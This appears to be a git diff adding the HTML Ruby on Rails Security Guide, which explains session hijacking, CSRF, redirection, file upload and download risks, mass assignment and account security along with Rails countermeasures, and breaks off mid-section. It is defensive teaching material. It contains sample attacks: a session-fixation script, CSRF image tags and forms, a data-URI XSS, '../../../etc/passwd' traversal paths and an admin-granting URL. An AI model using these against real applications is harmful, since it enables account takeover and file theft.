+ +
    +
  • +

    +October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes , by Mike Gunderloy +

    +
  • +
  • +

    +September 23, 2008: Added section on namespaced controllers and routing, by Mike Gunderloy +

    +
  • +
  • +

    +September 10, 2008: initial version by Mike Gunderloy +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/security.html b/vendor/rails/railties/doc/guides/html/security.html new file mode 100644 index 00000000..17551e07 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/security.html @@ -0,0 +1,1346 @@ + + + + + Ruby On Rails Security Guide + + + + + + + + + +
+ + + +
+

Ruby On Rails Security Guide

+
+
+

This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please +mail me, Heiko Webers, at 42 {et} rorsecurity.info. After reading it, you should be familiar with:

+
    +
  • +

    +All countermeasures that are highlighted +

    +
  • +
  • +

    +The concept of sessions in Rails, what to put in there and popular attack methods +

    +
  • +
  • +

    +How just visiting a site can be a security problem (with CSRF) +

    +
  • +
  • +

    +What you have to pay attention to when working with files or providing an administration interface +

    +
  • +
  • +

    +The Rails-specific mass assignment problem +

    +
  • +
  • +

    +How to manage users: Logging in and out and attack methods on all layers +

    +
  • +
  • +

    +And the most popular injection attack methods +

    +
  • +
+
+
+

1. Introduction

+
+

Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It‘s nice to see that all of the Rails applications I audited had a good level of security.

+

In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).

+

The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.

+

The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.

+

In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). I do it manually because that‘s how you find the nasty logical security problems.

+
+

2. Sessions

+
+

A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.

+

2.1. What are sessions?

+

HTTP is a stateless protocol Sessions make it stateful.

+

Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. +Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.

+

A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:

+
+
+
session[:user_id] = @current_user.id
+User.find(session[:user_id])
+
+

2.2. Session id

+

The session id is a 32 byte long MD5 hash value.

+

A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.

+

2.3. Session hijacking

+

Stealing a user's session id lets an attacker use the web application in the victim's name.

+

Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.

+

Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:

+
    +
  • +

    +Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to provide a secure connection over SSL. +

    +
  • +
  • +

    +Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a log-out button in the web application, and make it prominent. +

    +
  • +
  • +

    +Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later. +

    +
  • +
  • +

    +Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. +

    +
  • +
+

The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the Symantec Global Internet Security Threat Report.

+

2.4. Session guidelines

+

Here are some general guidelines on sessions.

+
    +
  • +

    +Do not store large objects in a session. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). +This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate. +

    +
  • +
  • +

    +Critical data should not be stored in session. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data. +

    +
  • +
+

2.5. Session storage

+

Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore.

+

There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.

+

Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:

+
    +
  • +

    +Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. Storing the current user's database id in a session is usually ok. +

    +
  • +
  • +

    +The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, you don't want to store any secrets here. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie. +

    +
  • +
+

That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters. Put the secret in your environment.rb:

+
+
+
config.action_controller.session = {
+  :session_key => ‘_app_session’,
+  :secret      => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
+}
+
+

There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.

+

2.6. Replay attacks for CookieStore sessions

+

Another sort of attack you have to be aware of when using CookieStore is the replay attack.

+

It works like this:

+
    +
  • +

    +A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes). +

    +
  • +
  • +

    +The user buys something. +

    +
  • +
  • +

    +His new, lower credit will be stored in the session. +

    +
  • +
  • +

    +The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. +

    +
  • +
  • +

    +The user has his credit back. +

    +
  • +
+

Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).

+

The best solution against it is not to store this kind of data in a session, but in the database. In this case store the credit in the database and the logged_in_user_id in the session.

+

2.7. Session fixation

+

Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation.

+
+
+Session fixation +
+
+

This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:

+
    +
  1. +

    +The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). +

    +
  2. +
  3. +

    +He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. +

    +
  4. +
  5. +

    +Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script> +Read more about XSS and injection later on. +

    +
  6. +
  7. +

    +The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. +

    +
  8. +
  9. +

    +As the new trap session is unused, the web application will require the user to authenticate. +

    +
  10. +
  11. +

    +From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack. +

    +
  12. +
+

2.8. Session fixation – Countermeasures

+

One line of code will protect you from session fixation.

+

The most effective countermeasure is to issue a new session identifier and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:

+
+
+
reset_session
+
+

If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, you have to transfer them to the new session.

+

Another countermeasure is to save user-specific properties in the session, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. These might change over the course of a session, so these users will not be able to use your application, or only in a limited way.

+

2.9. Session expiry

+

Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation.

+

One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to expire sessions in a database table. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.

+
+
+
class Session < ActiveRecord::Base
+ def self.sweep(time_ago = nil)
+
    time = case time_ago
+
      when /^(\d+)m$/ then Time.now - $1.to_i.minute
+
      when /^(\d+)h$/ then Time.now - $1.to_i.hour
+
      when /^(\d+)d$/ then Time.now - $1.to_i.day
+
      else Time.now - 1.hour
+
    end
+
    self.delete_all "updated_at < '#{time.to_s(:db)}'"
+
  end
+
end
+
+

The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:

+
+
+
self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
+
+
+

3. Cross-Site Reference Forgery (CSRF)

+
+

This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

+
+
+CSRF +
+
+

In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:

+
    +
  • +

    +Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file. +

    +
  • +
  • +

    +<img src="http://www.webapp.com/project/1/destroy"> +

    +
  • +
  • +

    +Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago. +

    +
  • +
  • +

    +By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id. +

    +
  • +
  • +

    +The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image. +

    +
  • +
  • +

    +Bob doesn't notice the attack — but a few days later he finds out that project number one is gone. +

    +
  • +
+

It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.

+

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) — less than 0.1% in 2006 — but it really is a sleeping giant [Grossman]. This is in stark contrast to the results in my (and others) security contract work – CSRF is an important security issue.

+

3.1. CSRF Countermeasures

+

First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.

+

The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:

+

Use GET if:

+
    +
  • +

    +The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup). +

    +
  • +
+

Use POST if:

+
    +
  • +

    +The interaction is more like an order, or +

    +
  • +
  • +

    +The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or +

    +
  • +
  • +

    +The user is held accountable for the results of the interaction. +

    +
  • +
+

If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden _method field to handle this barrier.

+

The verify method in a controller can make sure that specific actions may not be used over GET. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.

+
+
+
verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
+
+

With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.

+

But this was only the first step, because POST requests can be send automatically, too. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.

+
+
+
<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+
+

Or the attacker places the code into the onmouseover event handler of an image:

+

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="…" />

+

There are many other possibilities, including Ajax to attack the victim in the background.
The solution to this is including a security token in non-GET requests which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:

+

protect_from_forgery :secret ⇒ "123456789012345678901234567890…"

+

This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.

+

Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.

+
+

4. Redirection and Files

+
+

Another class of security vulnerabilities surrounds the use of redirection and files in web applications.

+

4.1. Redirection

+

Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack.

+

Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:

+
+
+
def legacy
+  redirect_to(params.update(:action=>'main'))
+end
+
+

This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:

+

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

+

If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to include only the expected parameters in a legacy action (again a whitelist approach, as opposed to removing unexpected parameters). And if you redirect to an URL, check it with a whitelist or a regular expression.

+

4.1.1. Self-contained XSS

+

Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:

+

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

+

This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, do not allow the user to supply (parts of) the URL to be redirected to.

+

4.2. File uploads

+

Make sure file uploads don't overwrite important files, and process media files asynchronously.

+

Many web applications allow users to upload files. File names, which the user may choose (partly), should always be filtered as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwdâ€, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.

+

When filtering user input file names, don't try to remove malicious parts. Think of a situation where the web application removes all “../†in a file name and an attacker uses a string such as “….//†- the result will be “../â€. It is best to use a whitelist approach, which checks for the validity of a file name with a set of accepted characters. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the attachment_fu plugin:

+
+
+
def sanitize_filename(filename)
+  returning filename.strip do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.gsub! /^.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+
+

A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its vulnerability to denial-of-service attacks. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.

+

The solution to this, is best to process media files asynchronously: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.

+

4.3. Executable code in file uploads

+

Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory.

+

The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi†with code in it, which will be executed when someone downloads the file.

+

If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level downwards.

+

4.4. File downloads

+

Make sure users cannot download arbitrary files.

+

Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:

+
+
+
send_file('/var/www/uploads/' + params[:filename])
+
+

Simply pass a file name like “../../../etc/passwd†to download the server's login information. A simple solution against this, is to check that the requested file is in the expected directory:

+
+
+
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename =!
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, :disposition => 'inline'
+
+

Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.

+
+

5. Intranet and Admin security

+
+

Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

+

In 2007 there was the first tailor-made Trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.


+

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

+

Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

+

Refer to the Injection section for countermeasures against XSS. It is recommended to use the SafeErb plugin also in an Intranet or administration interface.

+

CSRF Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

+

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.

+

Another example changed Google Adsense's e-mail address and password by CSRF. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.


+

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

+

For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.

+

5.1. Additional precautions

+

The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

+
    +
  • +

    +It is very important to think about the worst case: What if someone really got hold of my cookie or user credentials. You could introduce roles for the admin interface to limit the possibilities of the attacker. Or how about special login credentials for the admin interface, other than the ones used for the public part of the application. Or a special password for very serious actions? +

    +
  • +
  • +

    +Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though. +

    +
  • +
  • +

    +Put the admin interface to a special sub-domain such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa. +

    +
  • +
+
+

6. Mass assignment

+
+

Without any precautions Model.new(params[:model]) allows attackers to set any database column's value.

+

The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:

+
+
+
def signup
+  params[:user] #=> {:name => “ow3nedâ€, :admin => true}
+  @user = User.new(params[:user])
+end
+
+

Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:

+
+
+
http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
+
+

This will set the following parameters in the controller:

+
+
+
params[:user] #=> {:name => “ow3nedâ€, :admin => true}
+
+

So if you create a new user using mass-assignment, it may be too easy to become an administrator.

+

6.1. Countermeasures

+

To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:

+
+
+
attr_protected :admin
+
+

A much better way, because it follows the whitelist-principle, is the attr_accessible method. It is the exact opposite of attr_protected, because it takes a list of attributes that will be accessible. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:

+
+
+
attr_accessible :name
+
+

If you want to set a protected attribute, you will to have to assign it individually:

+
+
+
params[:user] #=> {:name => "ow3ned", :admin => true}
+@user = User.new(params[:user])
+@user.admin #=> false # not mass-assigned
+@user.admin = true
+@user.admin #=> true
+
+
+

7. User management

+
+

Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

+

There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is restful_authentication which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.

+

Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):

+
+
+
http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+
+

This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:

+
+
+
User.find_by_activation_code(params[:id])
+
+

If the parameter was nil, the resulting SQL query will be

+
+
+
SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
+
+

And thus it found the first user in the database, returned it and logged him in. You can find out more about it in my blog post. It is advisable to update your plug-ins from time to time. Moreover, you can review your application to find more flaws like this.

+

7.1. Brute-forcing accounts

+

Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

+

A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.

+

Because of this, most web applications will display a generic error message “user name or password not correctâ€, if one of these are not correct. If it said “the user name you entered has not been foundâ€, an attacker could automatically compile a list of user names.

+

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.

+

In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

+

7.2. Account hijacking

+

Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?

+

7.2.1. Passwords

+

Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.

+

7.2.2. E-Mail

+

However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.

+

7.2.3. Other

+

Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.

+

7.3. CAPTCHAs

+

A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot.

+

But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.

+

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. +The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.

+

Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

+

Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

+
    +
  • +

    +position the fields off of the visible area of the page +

    +
  • +
  • +

    +make the elements very small or colour them the same as the background of the page +

    +
  • +
  • +

    +leave the fields displayed, but tell humans to leave them blank +

    +
  • +
+

The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.

+

You can find more sophisticated negative CAPTCHAs in Ned Batchelder's blog post:

+
    +
  • +

    +Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid. +

    +
  • +
  • +

    +Randomize the field names +

    +
  • +
  • +

    +Include more than one honeypot field of all types, including submission buttons +

    +
  • +
+

Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.

+

7.4. Logging

+

Tell Rails not to put passwords in the log files.

+

By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.

+
+
+
filter_parameter_logging :password
+
+

7.5. Good passwords

+

Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.

+

Bruce Schneier, a security technologist, has analysed 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:

+

password1, abc123, myspace1, password, blink182, qwerty1, **you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.

+

It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.

+

A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the first letters of a sentence that you can easily remember. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.

+

7.6. Regular expressions

+

A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.

+

